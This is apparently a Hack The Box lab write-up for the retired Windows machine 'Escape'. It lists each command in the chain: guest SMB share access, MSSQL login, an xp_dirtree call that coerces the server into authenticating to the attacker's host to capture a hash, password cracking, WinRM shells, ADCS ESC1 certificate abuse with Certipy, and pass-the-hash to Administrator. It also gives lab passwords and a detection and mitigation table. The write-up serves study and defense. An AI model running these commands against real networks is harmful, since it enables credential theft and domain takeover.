Escape
Quick facts
Section titled “Quick facts”| Platform | Hack The Box (retired) |
| OS | Windows — DC dc.sequel.htb, domain sequel.htb |
| Difficulty | Medium |
| Approx. time | ~45 min |
| Chain | SMB guest → PDF with MSSQL creds → xp_dirtree + Responder (sql_svc hash) → crack → WinRM → log with ryan.cooper’s pass → ADCS ESC1 → Administrator cert → NT hash → pass-the-hash |
flowchart TD A["SMB share Public (guest)"] --> B["SQL Server Procedures.pdf<br/>MSSQL PublicUser creds"] B -->|mssqlclient| C["MSSQL access"] C -->|xp_dirtree to my host + Responder| D["sql_svc NetNTLM hash"] D -->|john / rockyou| E["sql_svc : REGGIE1234ronnie"] E -->|evil-winrm| F["sql_svc shell"] F -->|ERRORLOG.bak| G["ryan.cooper's pass<br/>(reused)"] G -->|evil-winrm| H["ryan.cooper (user.txt)"] H -->|Certipy: ESC1| I["Cert for Administrator"] I -->|certipy auth| J["Administrator NT hash"] J -->|pass-the-hash WinRM| K["Administrator (root.txt)"]
- An SMB share (
Public) readable with guest holds a PDF with MSSQL user credentials. - From MSSQL we coerce the service into authenticating to our box (
xp_dirtree) and capture thesql_svcNetNTLM hash with Responder, then crack it. - Over WinRM, a service log (
ERRORLOG.bak) leaksryan.cooper’s password (reused). - The domain has an ADCS CA with a template vulnerable to ESC1: any authenticated user can request a certificate specifying the SAN. We request one as
Administrator, use it to pull its NT hash, and pass-the-hash.
1. Reconnaissance
Section titled “1. Reconnaissance”-
Port scan
What I do:
Ventana de terminal IP=<target_ip>ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)sudo nmap -sCV -p$ports $IP -oN nmap/targetedWhat I see: lots of Active Directory ports (Kerberos, LDAP, SMB) and MSSQL on 1433. Nmap gives two names:
sequel.htb(domain) anddc.sequel.htb(DC).What I think: AD + MSSQL. I add both names to
/etc/hosts. Important note: there’s a clock skew with the DC; Kerberos only tolerates 5 minutes, so when the time comes I’ll usentpdate. → Network service enumerationVentana de terminal echo "$IP sequel.htb dc.sequel.htb" | sudo tee -a /etc/hosts
2. Initial access: from the share to the MSSQL service
Section titled “2. Initial access: from the share to the MSSQL service”-
Enumerate shares with guest
What I do:
Ventana de terminal smbclient -L \\\\sequel.htb\\ -Nsmbclient \\\\sequel.htb\\Public -Nsmb> get "SQL Server Procedures.pdf"What I see: a non-standard share,
Public, accessible with no password (guest). Inside, a PDF:SQL Server Procedures.pdf.What I think: a guest-readable share is always the first thing I check on a DC with no web. → AD / SMB enumeration
-
Read the PDF: MSSQL credentials
What I see: the PDF documents SQL Server procedures and includes sample credentials:
PublicUser:GuestUserCantWrite1.What I do:
Ventana de terminal impacket-mssqlclient PublicUser:GuestUserCantWrite1@sequel.htbWhat I see: MSSQL connection works, but low privilege and nothing juicy in the databases.
3. Foothold: coerce MSSQL authentication
Section titled “3. Foothold: coerce MSSQL authentication”-
Capture the service hash
What I do: start Responder and ask SQL to list a UNC path on my box.
Ventana de terminal sudo responder -I tun0 -v # on my boxIn the MSSQL session:
EXEC MASTER.sys.xp_dirtree '\\<LHOST>\test', 1, 1What I see: Responder captures a NetNTLMv2 hash for
sql_svc.Why it works:
xp_dirtreemakes the MSSQL service reach a remote SMB path, and in doing so it authenticates to my host with the account it runs as (sql_svc). Since that’s a regular user account (not a gMSA), its password can be weak and crackable. → NTLM authentication and hash capture · MSSQL abuse -
Crack and get in over WinRM
What I do:
Ventana de terminal john --wordlist=/usr/share/wordlists/rockyou.txt hash# sql_svc:REGGIE1234ronnieevil-winrm -i sequel.htb -u sql_svc -p REGGIE1234ronnieWhat I see: a shell as
sql_svc, but no user flag yet.
4. Lateral movement: credentials in a log
Section titled “4. Lateral movement: credentials in a log”-
Look for other users and logs
What I do:
Ventana de terminal ls C:\Userstype C:\sqlserver\Logs\ERRORLOG.bakWhat I see:
C:\Users\Ryan.Cooperexists. In the MSSQL log there’s a failed login forryan.cooperwith the password written in clear:NuclearMosquito3(they typed the password into the username field).What I think: people reuse passwords across services. I try it as
ryan.cooper’s domain credential. → Credential hunting -
WinRM as ryan.cooper
What I do:
Ventana de terminal evil-winrm -i sequel.htb -u ryan.cooper -p NuclearMosquito3What I see: a shell as
ryan.cooper.user.txt→abcd…wxyz(redacted).
5. Escalation to Domain Admin: ADCS ESC1
Section titled “5. Escalation to Domain Admin: ADCS ESC1”-
Enumerate the CA and templates
What I think: the initial scan showed a lot of certificate activity → there’s probably an ADCS CA. I enumerate with Certipy (from my box) or Certify (on the host).
Ventana de terminal certipy find -u ryan.cooper@sequel.htb -p NuclearMosquito3 -dc-ip $IP -vulnerable -stdoutWhat I see: a template,
UserAuthentication, flagged as ESC1:Authenticated Userscan request it and it hasENROLLEE_SUPPLIES_SUBJECTinmsPKI-Certificate-Name-Flag.What I think: ESC1 means anyone who can enroll in the template can specify an arbitrary SAN (another user’s UPN) in the certificate. With that I request a certificate as
administrator. → ADCS: ESC1 and vulnerable templates -
Request a certificate as Administrator (ESC1)
What I do:
Ventana de terminal certipy req -u ryan.cooper@sequel.htb -p NuclearMosquito3 \-ca sequel-dc-ca -template UserAuthentication \-upn administrator@sequel.htb -target sequel.htbWhat I see: the CA issues
administrator.pfx.Why it works: the template lets the requester set the Subject Alternative Name. By requesting with
-upn administrator@sequel.htb, the CA issues a certificate that identifies the holder as Administrator, even thoughryan.cooperis the one asking. -
Authenticate with the certificate and get the NT hash
What I do:
Ventana de terminal sudo ntpdate -u dc.sequel.htbcertipy auth -pfx administrator.pfxWhat I see: Certipy uses the PFX to get a TGT via PKINIT and, from it, the NT hash of
Administrator(a52f78e…58f4ee). -
Pass-the-hash to Administrator
What I do:
Ventana de terminal evil-winrm -i sequel.htb -u administrator -H <NT_hash>cat C:\Users\Administrator\Desktop\root.txtWhat I see: a shell as
Administrator.root.txt→abcd…wxyz(redacted).Why it works: the NT hash is enough to authenticate over NTLM. → Lateral movement
Progressive hints
Section titled “Progressive hints”There’s no web. Which share isn’t a standard one and is readable with guest?
You have low-privilege MSSQL access. How do you make the service authenticate to you?
You’re sql_svc. What tends to end up in a service’s logs when someone fills the wrong field at login?
There’s a CA. Look at which template lets the requester pick the SAN.
Dead ends
Section titled “Dead ends”| What I tried | Result | How I ruled it out |
|---|---|---|
| Hunting data in MSSQL databases | Nothing useful | The value was coercing authentication, not the data |
| Using Kerberos without syncing the clock | KRB_AP_ERR_SKEW |
8h skew; ntpdate before PKINIT |
xp_cmdshell for direct RCE |
No permission to enable it | sql_svc wasn’t sysadmin; the path was capturing its hash |
Methodology takeaways
Section titled “Methodology takeaways”- Guest-readable share → download it and read everything, PDFs included. Credentials live in “procedure” documents.
- Low-privilege MSSQL access →
xp_dirtree/xp_subdirs+ Responder. Capturing the service’s hash is often more productive than fighting SQL permissions. - First shell → check logs and backups (
*.bak,ERRORLOG). Passwords typed in the wrong field end up there. - In AD, always enumerate ADCS (
certipy find -vulnerable). ESC1–ESC8 are direct paths to DA that don’t rely on a software exploit. - ESC1 = arbitrary SAN. If
ENROLLEE_SUPPLIES_SUBJECTis on and you can enroll, you request a cert as whoever you like.
Detection and mitigation
Section titled “Detection and mitigation”| Phase | Detection | Mitigation |
|---|---|---|
| Guest share | Events 5140/5145 for access to Public |
Remove guest/anonymous access; don’t leave credential-bearing documents in shares |
xp_dirtree → outbound auth |
Outbound SMB from the SQL server to unusual hosts; event 4648 | Disable xp_dirtree/dangerous procedures; run SQL as a gMSA |
| Credentials in logs | Review logs and .bak files for passwords; DLP |
Don’t log credentials; rotate exposed ones |
| ESC1 | Event 4886/4887 (cert request/issue) with a SAN that doesn’t match the requester | Remove ENROLLEE_SUPPLIES_SUBJECT; require manager approval; restrict who can enroll |
| PKINIT / pass-the-hash | 4768 (TGT via certificate), 4624 type 3 from admin on an odd host | Admin tiering; monitor certificate-based authentication |
References
Section titled “References”- SpecterOps — “Certified Pre-Owned” (ADCS, ESC1–ESC8): https://posts.specterops.io/certified-pre-owned-d95910965cd2
- Certipy — documentation: https://github.com/ly4k/Certipy
- Microsoft —
xp_dirtreeand system stored procedures: https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/system-stored-procedures-transact-sql